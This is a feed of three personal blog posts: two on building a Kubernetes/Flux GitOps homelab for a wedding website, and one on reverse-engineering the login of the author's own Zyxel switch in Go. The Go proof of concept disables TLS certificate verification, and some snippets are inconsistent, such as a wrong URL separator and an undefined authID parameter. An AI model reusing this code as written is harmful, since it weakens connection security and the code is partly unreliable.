This is not intended as a tutorial for setting up an environment like this, as some things are automated and some other things (like HAProxy setup) are carried out manually. This is still an incomplete mess.

It’s meant to be something like a blueprint you can take inspiration from. You will not be able to find detailed commands or detailed code, as I’m way too ashamed of my git history to make my repos public atm. I swear I’ll fix them in the near future.

In the previous episode, I’ve tried to gave you an idea on how I’ve been setting up my environment to host a very simple wedding website.

GitOps

The repo containing all the manifests is loosely based on the Flux D1 Architectural Reference, but made simpler without the multitenancy stuff because that would be way overkill for my setup.

This is a multistage reconciliation, managed by different Kustomization CRs. In order:

cluster-vars

---
apiVersion: v1
kind: ConfigMap
data:
  cluster_name: odyssey
  dns_ip: 192.168.20.66
  ingress_ip: 192.168.20.67
  domain: k8s.cicci8ino.it
  mgmt_domain: k8s.cicci8ino.it
  load_balancer_pool: 192.168.20.65-192.168.20.126
  storage_replica: "1"
metadata:
  name: cluster-vars
  namespace: flux-system

These are the information for this specific cluster. Each key in the ConfigMap should be self-explanatory. If I ever decide to create another cluster, I have to make sure to properly configure these variables.

common-configs-reconciliation

This will only build the manifests from the ./common/config folder, as specified in .spec.path.

---
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: common-configs-reconciliation
  namespace: flux-system
  labels:
    sharding.fluxcd.io/key: infra
spec:
  commonMetadata:
    labels:
      toolkit.fluxcd.io/tenant: common
      sharding.fluxcd.io/key: infra
  interval: 1h
  retryInterval: 1m
  timeout: 5m
  sourceRef:
    kind: GitRepository
    name: flux-system
  path: ./common/configs
  prune: false

The ConfigMap will only bring some common variables that are going to be shared across many Flux CRs.

apiVersion: v1
kind: ConfigMap
data:
  mgmt_domain: k8s.cicci8ino.it
metadata:
  name: common-configs-vars
  namespace: flux-system

This ConfigMap is mainly used to share the cluster domain for ingress registration. As an example, the wedding website Ingress uses a template on the spec.rules[].host field that is substituted in the final YAML manifests before being applied by Flux.

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: wedding-website-ingress
  namespace: wedding-website
  labels:
    app: wedding-website
spec:
  rules:
  ...
  - host: wedding.${domain}
    http:
      paths:
      - pathType: Prefix
        path: "/"
        backend:
          service:
            name: wedding-website-svc
            port:
              name: web

network-reconciliation

apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: network-reconciliation
  namespace: flux-system
  labels:
    sharding.fluxcd.io/key: infra
spec:
  commonMetadata:
    labels:
      toolkit.fluxcd.io/tenant: network
      sharding.fluxcd.io/key: infra
  interval: 1h
  retryInterval: 1m
  timeout: 5m
  sourceRef:
    kind: GitRepository
    name: flux-system
  path: ./common/network
  prune: false
  postBuild:
    substituteFrom:
      - kind: ConfigMap
        name: cluster-vars

This kickstart the reconciliation of network relevant manifests. To be more specific, this will use kustomize to build some manifests:

kustomization.yaml

---
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
namespace: flux-system
resources:
  - nginx/nginx.yaml
  - metallb/metallb.yaml
  - k8s-gateway/k8s-gateway.yaml
  - cert-manager/cert-manager.yaml
  - trust-manager/trust-manager.yaml
  - cilium/cilium.yaml

As every other component in the cluster, each of the network pieces will require the reconciliation of two subcomponents:

  • <component>-controllers: this can include HelmRelease, HelmRepository and Namespace objects, everything that will deploy the required workload.
  • <component>-configs: this can include CRs or ConfigMaps used by the component.

As an example, let’s see how MetalLB is installed.

metallb.yaml

---
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: metallb-controllers
  namespace: flux-system
spec:
  interval: 1h
  retryInterval: 1m
  timeout: 5m
  sourceRef:
    kind: GitRepository
    name: flux-system
  path: ./common/network/metallb/controllers
  prune: true
---
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: metallb-configs
  namespace: flux-system
spec:
  dependsOn:
    - name: metallb-controllers
  interval: 1h
  retryInterval: 1m
  timeout: 5m
  sourceRef:
    kind: GitRepository
    name: flux-system
  path: ./common/network/metallb/configs
  prune: false
  postBuild:
    substituteFrom:
      - kind: ConfigMap
        name: cluster-vars

Flux first install the metallb-controllers and then the metallb-configs, as you can see from the .spec.dependsOn field (more info available HERE). metallb-controllers is responsible to deploy:

  • metallb Namespace
  • HelmRepository CR, for the MetalLB helm repository;
  • HelmRelease CR, to install MetalLB helm chart from the MetalLB helm repository

metallb-configs is responsible to deploy the IPAddressPool for MetalLB (which CIDR is going to be used to instantiate a new VIP, when a new Service with spec.type: LoadBalancer is created) and the L2Advertisment CR (to setup MetalLB in L2 mode).

Folder structure will look something like this:

└── common
    ├── configs
    ├── infra
    └── network
        ├── cert-manager
        ├── cilium
        ├── k8s-gateway
        ├── kustomization.yaml
        ├── metallb
        │   ├── configs
        │   │   ├── ipaddresspool.yaml
        │   │   └── l2advertisement.yaml
        │   ├── controllers
        │   │   ├── helmrelease.yaml
        │   │   ├── helmrepository.yaml
        │   │   └── namespace.yaml
        │   └── metallb.yaml
        ├── nginx
        └── trust-manager

Have a look on how the post variable substitution is used for MetalLB too.

ipaddresspool.yaml

---
apiVersion: metallb.io/v1beta1
kind: IPAddressPool
metadata:
  name: standard
  namespace: metallb
spec:
  addresses:
  - ${load_balancer_pool}

${load_balancer_pool} is going to be replaced with cluster-vars.data.cluster-vars.

This reconciliation will also be responsible of installing:

  • Cilium: the CNI I’m using in the cluster, powered by eBPF. Do you remember the chicken-in-the-egg thing?
  • NGINX Ingress Controller: Ingress Controller listening on a Service LoadBalancer. And no, that’s not the “default” community based Kubernetes Ingress Controller. This is maintained by nginx/F5
  • cert-manager: generate SSL certificates from the cluster sub-CA I’ve talked about in part 1. You can use it to automatically generate SSL certificates with Let’s Encrypt if you don’t want to manage your own CA
  • trust-manager: automatically replicate my homelab root CA certificate across all the namespaces, so it will be easier for any workload to trust it and to connect to internal services
  • k8s-gateway: expose a DNS service and automatically register any entries defined as Ingress or Gateway resources

secret-reconciliation

This Kustomization depends on the network-reconciliation Kustomization and is responsible to deploy the 1Password Connect server. This will connect to my 1Password Homelab safe, using the secrets deployed in part 1.

infra-reconciliation

This Kustomization will install many components, such as:

  • External Secret Operator: automatically sync secrets with external secret manager solution (in my case 1Password through the 1Password Connect server)
  • Promtail: collect logs and send it to an external logging solution
  • kube-prometheus-stack: collect metrics and send it to an external metrics collection solution and make them available for FreeLens
  • Longhorn: cloud native distributed block storage (even if I’m only using a two node cluster, where only the worker node will need persistent storage)

Management cluster

As shared in part 1, this cluster is used to expose some management services too, on top of the 1Password Connect Server previously installed. These are managed by a specific reconciliation step.

log-reconciliation

This Kustomization will wait for infra-reconciliation to be completed. This will install:

Copy and paste everywhere?

As you may have seen from the repository structure, there’s some kind of pattern that is always repeated across all the components. Each component is usually shipped with a configs and a controllers Kustomization. The controllers usually deploys an HelmRepository/OCIRepository, an HelmRelease and a Namespace objects.

Wouldn’t it be nice to be able to create something like a template, to avoid copying and pasting resources all over again? That’s what ResourceSet API is meant for. With ResourceSet you can generate multiple Kubernetes objects following a matrix of input values and a template. This is part of the new Flux Operator and you can find more details HERE.

In the next episode, I’m going to talk about how the website is packaged, uploaded on GHCR via a GitHub action and how this is installed on the cluster by Flux.

]]>A wedding website powered by Kubernetes, Flux, and GitHub Actions - Part 1http://blog.martino.wtf/posts/wedding-pt1/Tue, 18 Feb 2025 10:48:15 +0100http://blog.martino.wtf/posts/wedding-pt1/%!s(<nil>)
Yet another warning, deal with it

This is not intended as a tutorial for setting up an environment like this, as some things are automated and some other things (like HAProxy setup) are carried out manually. This is still an incomplete mess.

It’s meant to be something like a blueprint you can take inspiration from. You will not be able to find detailed commands or detailed code, as I’m way too ashamed of my git history to make my repos public atm. I swear I’ll fix them in the near future.

Ok, I’m getting married. As an IT guy, my first priority has to be:

How can we deploy a wedding website no one is ever going to take a look at?

Let’s start then.

Domain

Registering a domain is always the first step. Miriana is my future wife’s name, also known as Miri. My surname is Martino, also known as tino. Here you go, miritino.it. That domain is then managed on Cloudflare and the web server is going to be exposed via Cloudflare Tunnels, as I’m using that for managing my other domains (yes, more than one, included martino.wtf which I’m super proud of).

Kubernetes on Proxmox VMs

Everything is running on a very small Kubernetes cluster hosted on an even smaller 3-node Proxmox cluster. This Kubernetes cluster is going to be used to host:

  • management services: Observability stack (Grafana, VictoriaLogs, VictoriaMetrics) and 1Password Connect server. Maybe I will add a nice IdP in the future (Keycloak), who knows?
  • applications: at this stage, only the wedding website

The VMs are created from an already existing Ubuntu 24.04 LTS template (nothing fancy, IIRC only cloud-init and qemu agent have been installed on this) using some terraform plans (courtesy of proxmox terraform provider).

I’ve built a nice wrapper around this provider so that the VMs are declared in the following way:

vms = {
  k8s-cp-01 = {
    cpu = 2
    disk_size = "30"
    disk_location = "local-lvm"
    template = "ubuntu-2404-template"
    ip = "192.168.20.1",
    ram = 4096, 
    node = "nuc",
    user = "ci",
    onboot = false,
    network_zone = "k8s",
    vm_state = "running"
    tags = "k8s;k8s_cps"
    hostname = "cp-01"
  }, 
  k8s-wrk-01 = {
    cpu = 4
    disk_size = "100"
    disk_location = "local-lvm"
    template = "ubuntu-2404-template"
    ip = "192.168.20.11"
    ram = 16384, 
    node = "chinuc",
    user = "ci",
    onboot = false,
    network_zone = "k8s"
    vm_state = "running"
    tags = "k8s;k8s_workers"
    hostname = "wrk-01"
  }
}

The VM is created, with the correct network interfaces with the correct VLAN tagging. The correct network configuration and the SSH public keys are applied then via cloud-init (HERE and HERE). On top of that, relevant DNS entries/firewall aliases are created in my opnsense installation (courtesy of opnsense terraform provider).

VM deployed on Proxmox

opnsense kubernetes dedicated sub-CA

Then a magic Ansible playground is executed, which will:

  • install some useful tools (i.e. netools)
  • install the container runtime (cri-o, in my case)
  • install kubeadm and kubelet
  • do some preparation stuff on the OS
  • create the cluster, bootstrapping the controlplane
  • join the worker node to the cluster
  • install Cilium CNI

I’m exposing the API endpoint behind a VIP, so I’m using a specific kubeadm command to spin up the cluster, specifying the control plane endpoint.

kubeadm init --control-plane-endpoint={{ control_plane_endpoint }} --apiserver-bind-port={{ apiserver_bind_port }} --cri-socket={{ cri_socket }} --pod-network-cidr={{ pod_network_cidr }} --ignore-preflight-errors=FileContent--proc-sys-net-bridge-bridge-nf-call-iptables --skip-phases=addon/kube-proxy --upload-certs

The relevant Ansible variable is control_plane_endpoint.

control_plane_endpoint: api.k8s.cicci8ino.it

Behind that, an HAProxy VIP is going to load balance to the real control plane servers behind the scenes (with a dumb TCP health check that I should replace with a proper https health check endpoint). This will make things easier when I decide (probably never) to add new master nodes.

The cluster is now ready. Now things start to get interesting.

Cluster Setup

Let’s set up Odyssey (have you ever seen Apollo 13?), my small Kubernetes cluster.

CNI

A Kubernetes cluster needs a Container Network Interface, aka CNI. I will use Cilium. This is installed by the same Ansible playground, simply applying the official helm chart.

- name: Add cilium helm
  kubernetes.core.helm_repository:
    name: cilium
    repo_url: https://helm.cilium.io/
    force_update: true

- name: Deploy cilium helm chart
  kubernetes.core.helm:
    name: cilium
    chart_ref: cilium/cilium
    release_namespace: "{{ cilium_namespace }}"
    chart_version: "{{ cilium_version }}"
    kubeconfig: "{{ kubeconfig_dest }}"
    values:
      kubeProxyReplacement: True
      k8sServiceHost: "{{ control_plane_endpoint }}"
      k8sServicePort: "{{ apiserver_bind_port }}"

Bootstrap

Cluster is now ready to get some real love. So a nice Taskfile will make sure that:

  • cert-manager namespace is created. This is going to be used to create certificates from the Kubernetes sub-CA I’ve already created on my opnsense installation

opnsense kubernetes dedicated sub-CA That sub-CA was generated from my opnsense root CA.

  • The sub-CA certificate and the private key are added in cert-manager namespace as secret, fetched from my 1Password homelab safe with op CLI
op run --env-file="./.op.env" -- <command>

I’ve decided to rely on external-secrets-operator (aka ESO) even though 1Password already has something similar (1Password K8s operator) because it was much easier for it to trust a custom certificate generated by cert-manager signed by the cluster sub-CA.

Here you can see an extract of the tasks.

  deploy-1password-connect-secret:
    desc: "Create 1password namespace and deploy the connect secret"
    cmds:
      - kubectl create ns 1password || true
      - kubectl delete secret op-credentials --namespace 1password || true
      - |
        kubectl create secret generic op-credentials \
          --namespace 1password \
          --from-literal=1password-credentials.json={{.ENCODED_OP_CREDENTIALS}} \
          --type=Opaque

Where some environment variables are populated by the OP CLI.

export OP_CREDENTIALS=op://Homelab/1p-homelab-credentials/1password-credentials.json

HERE some additional details.

Flux

Then:

  flux-operator-bootstrap:
    desc: "Bootstrap Flux Operator"
    cmds:
      - |
        helm install flux-operator oci://ghcr.io/controlplaneio-fluxcd/charts/flux-operator \
        --namespace flux-system \
        --create-namespace
  • A flux secret is created to the git repo containing all the manifests that flux is going to reconcile
  • a FluxInstance is created by the Flux Operator using a kustomize overlay
  deploy-flux-instance:
    desc: "Build flux instance kustomize overlay and deploy"
    cmds: 
      - kubectl apply --kustomize ./kustomize/overlays/{{.CLI_ARGS}}

resources:
  - ../../base

patches:
  - patch: |-
      - op: add
        path: /spec/sync/path
        value: "clusters/odyssey"
      - op: add
        path: /spec/sharding
        value:
          shards:
            - mgmt
            - infra
      - op: add
        path: /spec/cluster/tenantDefaultServiceAccount
        value: flux
    target:
      kind: FluxInstance
      name: flux
      namespace: flux-system

The kustomize patch will mainly enable sharding (not that I really needed it, considering how small my cluster is, but I wanted to have a quick look at it).

Recap

At this stage, Odyssey is ready to reconcile stuff. It now has:

  • 1password connect server, that can be reached by any other future Kubernetes cluster or any other service that needs credentials from my 1Password dedicated safe.
  • cert-manager, that will manage ingress certificate generation from now on.

In the next episode, we are going to take a look at how I’ve structured my GitOps repository and how I’m deploying the website in the cluster.

]]>Reversing the login mechanism of a cheap Zyxel managed switchhttp://blog.martino.wtf/posts/zyxel-pt1/Wed, 06 Nov 2024 20:07:15 +0100http://blog.martino.wtf/posts/zyxel-pt1/%!s(<nil>)
What am I doing?
I’m not a developer nor a web app expert. Please, forgive me for my train of thought

Some months ago, I bought a nice Zyxel XGS1210 managed switch for 130-ish euros on Amazon Marketplace. 2x10G SFPs, 2x2.5G RJ45, 8x1G RJ45. Not too bad.

I always wanted to manage it via Terraform/Tofu, as I’m doing with my opnsense install. Unfortunately, there is no Terraform provider already available and no public documentation/API, so I thought

It would make sense to lose hours in reverse engineering the web page to create a new VLAN every once in a while, right?

Nope, it probably didn’t. Follow me in this rabbit hole.

Login mechanism for http

First, let’s examine how the login mechanism works. If you go to the switch IP, you are greeted by a beautiful login page straight from the 90s.

Login page

There’s an interesting get request executed here:

cgi/get.cgi?cmd=home_loginInfo&dummy=1730661645538&bj4=46f21041e4c399c1cd141211b4b4f547

That gives back this JSON data

{
	"data":	{
		"sys_first_login":	"0",
		"model_name":	"XGS1210-12",
		"logined":	"0",
		"modulus":	"XXXXXX\n"
	},
	"xsrfToken":	""
}

Let’s first focus on the request URL. cmd looks like a command, dummy looks like a timestamp. What about bj4? In js/fileload.js, the code would look something like this:

url = url + '&bj4=' + md5(url.split('?')[1]);

So it looks like it’s simply computing the md5 of part of the requested URL. Let’s double check it

echo -n 'cmd=home_loginInfo&dummy=1730661645538' | md5sum
46f21041e4c399c1cd141211b4b4f547

Yep.

Let’s write a simple go function to automatically compute the hash on each request.

func GetURL(baseURL string, basePath string, action string) string {
	params := url.Values{}
	params.Add("cmd", action)
	params.Add("dummy", fmt.Sprint(time.Now().UnixMilli()))
	url := fmt.Sprintf("%s%s?%s", baseURL, basePath, params.Encode())
	url = url + "?bj4=" + ComputeMD5(url)
	log.Debug().Msg(url)
	return url
}

Where ComputeMD5(completePath string)

func ComputeMD5(completePath string) string {
	result := strings.Split(completePath, "?")
	hash := md5.Sum([]byte(result[1]))
	md5String := hex.EncodeToString(hash[:])
	return md5String
}

Let’s go back to the response the home_loginInfo gave. The only intersting data is modulus. As soon as the SIGN IN button is clicked, a POST request to is raised with /cgi/set.cgi?cmd=home_loginAuth and the following JSON body.

{
	"_ds=1&password=something&xsrfToken=8b8107364f45c181&_de=1": {}
}

That’s a strange JSON but ok. It seems we have 4 parameters stored in there somehow.

  • _ds
  • password
  • xsrfToken
  • _de

I absolutely have no idea of what _ds and _de mean, but they are always 1, so I’m going to hardcode them and I’m going to send them in the exact order (yes, it was needed, wasted some time on this). On the other hand, password and xsrfToken are much more interesting.

Looking at login.html, we can see that xsrfToken is generated, creating a 16 chars string by picking random hex digit. Let’s generate a random token while initializing the client. I’m not sure why it’s the client that is generating the CSRF token, though…

password is being generated in the clickLogin() function in login.html, using functions stored in crypt/rsa.js file. This file seems to be coming from here.

First, a public RSA key is created from modulus and the hardcoded exponent.

...
`rsa.setPublic(data.modulus, '<number>');`
...

The password is then encrypted with that key. More specifically, the encrypt() function will pad the string first and then encrypt the data using PKCS1 v1.5

...
// PKCS#1 (type 2, random) pad input string s to n bytes, and return a bigint
function pkcs1pad2(s,n)
...

The encrypted password is then encoded in base64 and then serialized.

If authorized, the loginAuth endpoint will reply with the following body:

{
	"status": "ok",
	"authId": "XXXX"
}

The browser will then use the authId to POST the following request to /cgi/set.cgi?cmd=home_loginStatus.

{
	"_ds=1&authId=XXXX>&xsrfToken=0011223344556677&_de=1": {}
}

Bingo, we now have a session cookie, HTTP_SESSID we can use from now on for every request.

Code

Let’s put everything together. First, let’s start with the helper functions responsible for creating the public key and encrypting the password.

func CreatePublicKey(modulusHex string, exponentInt string) (*rsa.PublicKey, error) {
	modulusBytes, err := hex.DecodeString(modulusHex)
	if err != nil {
		log.Fatal().Err(err).Msg("failed decoding modulus")
		return nil, err
	}
	modulus := new(big.Int).SetBytes(modulusBytes)

	exponent, err := strconv.ParseInt(exponentInt, 16, 64)

	if err != nil {
		log.Fatal().Err(err).Msg("cannot convert exponent")
	}

	pubKey := &rsa.PublicKey{
		N: modulus,
		E: int(exponent),
	}
	log.Debug().Interface("pubKey", pubKey).Msg("pubKey")

	return pubKey, nil
}

func EncryptPassword(pubKey *rsa.PublicKey, password string) (string, error) {
	passwordBytes := []byte(password)
	encryptedBytes, err := rsa.EncryptPKCS1v15(rand.Reader, pubKey, passwordBytes)
	if err != nil {
		log.Fatal().Err(err).Msg("error in encryption")
		return "", err
	}
	encryptedString := fmt.Sprintf("%x", encryptedBytes)
	if len(encryptedString)%2 != 0 {
		encryptedString = "0" + encryptedString
		log.Debug().Msg("detected odd lenght")
	}
	encryptedBytes, err = hex.DecodeString(encryptedString)
	if err != nil {
		log.Fatal().Err(err).Msg("error in reencoding")
	}
	encryptedPassword := base64.StdEncoding.EncodeToString(encryptedBytes)
	log.Debug().Msg(fmt.Sprintf("base64 encoded encrypted password: %s", encryptedPassword))
	return encryptedPassword, nil
}

Create a struct for our client.

type SwitchClient struct {
	BaseURL    string
	Password   string
	XSRFToken  string
	HTTPClient *http.Client
}

Then, init the SwitchClient struct and all the needed objects, such as the HTTP client with a cookie store, the RSA public key and the xsrfToken.

func (s *SwitchClient) Init() {
	// TODO: specify CA or use system certificates
	transport := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	jar, _ := cookiejar.New(nil)
	s.HTTPClient = &http.Client{
		Jar:       jar,
		Transport: transport,
	}
	requestURL := utils.GetURL(s.BaseURL, utils.CGIGETPath, utils.LoginInfoCMD)

	var loginInfoDataResp rawdata.LoginInfo
	s.StoreParsedData(requestURL, &loginInfoDataResp)
	parsedURL, err := url.Parse(s.BaseURL)
	if err != nil {
		log.Fatal().Err(err).Msg("invalid URL")
	}
	if parsedURL.Scheme == "http" {
		modulus := loginInfoDataResp.Modulus[:len(loginInfoDataResp.Modulus)-1]
		log.Debug().Msg(modulus)
		publicKey, err := utils.CreatePublicKey(modulus, utils.HEXExponent)
		if err != nil {
			log.Fatal().Msg("can't set public key")
		}
		s.Password, err = utils.EncryptPassword(publicKey, s.Password)
		if err != nil {
			log.Fatal().Err(err).Msg("cannot encrypt password")
		}
	}
	s.XSRFToken, err = utils.GenXSRFToken()
	if err != nil {
		log.Fatal().Err(err).Msg("cannot generate xsrftoken")
	}
}

Create the struct needed to store the authId.

type AuthResponse struct {
	Status string `json:"status"`
	AuthID string `json:"authId"`
}

Login,

func (s *SwitchClient) Login() {
	passwordParams := url.Values{}
	passwordParams.Add("password", s.Password)
	requestURL := utils.GetURL(s.BaseURL, utils.CGISETPath, utils.LoginAuthCMD)
	bodyBytes, err := s.Post(requestURL, passwordParams.Encode())
	if err != nil {
		log.Fatal().Err(err).Msg("login post failed")
	}

	var authResponse rawdata.AuthResponse
	err = json.Unmarshal(bodyBytes, &authResponse)
	if err != nil {
		log.Fatal().Err(err).Msg("problem umarshaling login data")
	}
	s.GetSessionCookie(authResponse.AuthID)
}

and get the session cookie,

func (s *SwitchClient) GetSessionCookie() {
	requestURL := utils.GetURL(s.BaseURL, utils.CGISETPath, utils.LoginStatusCMD)
	bodyString := fmt.Sprintf(`{"_ds=1&authId=%s&_de=1":{}}`, authID)
	jsonData := []byte(bodyString)
	req, err := http.NewRequest("POST", requestURL, bytes.NewBuffer(jsonData))
	if err != nil {
		log.Fatal().Err(err).Msg("cannot post request")
	}
	req.Header.Set("Content-Type", "application/json")
	resp, err := s.HTTPClient.Do(req)
	for _, c := range resp.Cookies() {
		log.Debug().Msgf("%s=%s", c.Name, c.Value)
	}
}

Let’s declare some helper functions:

func (s *SwitchClient) FetchVLANData() rawdata.VLANData {
	url := utils.GetURL(s.BaseURL, utils.CGIGETPath, utils.VLANListCMD)
	var vlanDataResp rawdata.VLANData
	s.StoreParsedData(url, &vlanDataResp)

	return vlanDataResp
}

func (s *SwitchClient) StoreParsedData(url string, v any) error {
	body, _ := s.Get(url)
	var result map[string]interface{}
	err := json.Unmarshal(body, &result)

	if err != nil {
		log.Fatal().Err(err).Msg("error parsing xsrfToken")
	}
	xsrftoken, ok := result["xsrfToken"].(string)
	if ok {
		// storing xsrftoken, to be used for subsequent post call
		s.XSRFToken = xsrftoken
	}
	err = json.Unmarshal(body, v)
	if err != nil {
		log.Fatal().Err(err).Msg("error parsing data")
	}
	data, ok := result["data"].(any)
	marshaledData, _ := json.Marshal(data)
	if err != nil {
		log.Fatal().Err(err).Msg("error marshaling data field")
	}
	err = json.Unmarshal(marshaledData, v)
	log.Debug().Interface("raw_data", v).Msg("raw_data")
	return nil

}

func (s *SwitchClient) Get(requestURL string) ([]byte, error) {
	resp, err := s.HTTPClient.Get(requestURL)
	if (err) != nil {
		log.Fatal().Err(err).Msg("error fetching data")
	}
	body, err := io.ReadAll(resp.Body)
	defer resp.Body.Close()
	if err != nil {
		log.Fatal().Err(err).Msg("error reading body")
	}
	if resp.StatusCode != 200 {
		log.Error().Msg("get request returned non 200 response code")
		return nil, fmt.Errorf("resp code %d", resp.StatusCode)
	}
	return body, nil
}

StoreParsedData() will send an HTTP request, get the body and marshal it, save the xsrfToken (to be used for the next request) and then extract the relevant data in a generic struct.

For VLAN,

type VLANData struct {
	PVIDs  []int         `json:"pvids"`
	QVLANs []interface{} `json:"qvlans"`
}

type VLANDataResp struct {
	Data VLANData `json:"data"`
}

Aaaaaand, here we go:

func main() {
	zerolog.SetGlobalLevel(zerolog.DebugLevel)
	log.Logger = zerolog.New(os.Stderr).With().
		Timestamp().
		Caller().
		Logger()
	baseURL := os.Getenv("ZYXEL_HOSTNAME")
	password := os.Getenv("ZYXEL_PASSWORD")
	zyxelSwitch := xgsapi.SwitchClient{
		BaseURL:  baseURL,
		Password: password,
	}
	zyxelSwitch.Init()
	zyxelSwitch.Login()
	zyxelSwitch.FetchSystemData()
	zyxelSwitch.FetchLinkData()
	zyxelSwitch.FetchVLANData()
}

{"level":"debug","raw_data":{"data":{"pvids":[1,100,1,1,1,200,200,1,1,1,1,10,1,1,1,1,1],"qvlans":[[1,"0x1ff9d","0x800"],[2,"0x1f000","0x1f000"],[10,"0x1fb80","0x1fb80"],[20,"0x1fb80","0x1fb80"],[30,"0x1f381","0x1f381"],[40,"0x1f381","0x1f381"],[100,"0x1f382","0x1f380"],[200,"0x1fbe1","0x1fb81"],[300,"0x1f003","0x1f000"]]}}

PoC code can be found here.

Wait, what about HTTPs connection?

If the switch management interface is reached on the HTTPs URL, the login mechanism is much easier, as the password is sent as is in the same JSON body to the same /cgi/set.cgi?cmd=home_loginAuth endpoint, with no additional encryption other than the channel itself.

]]>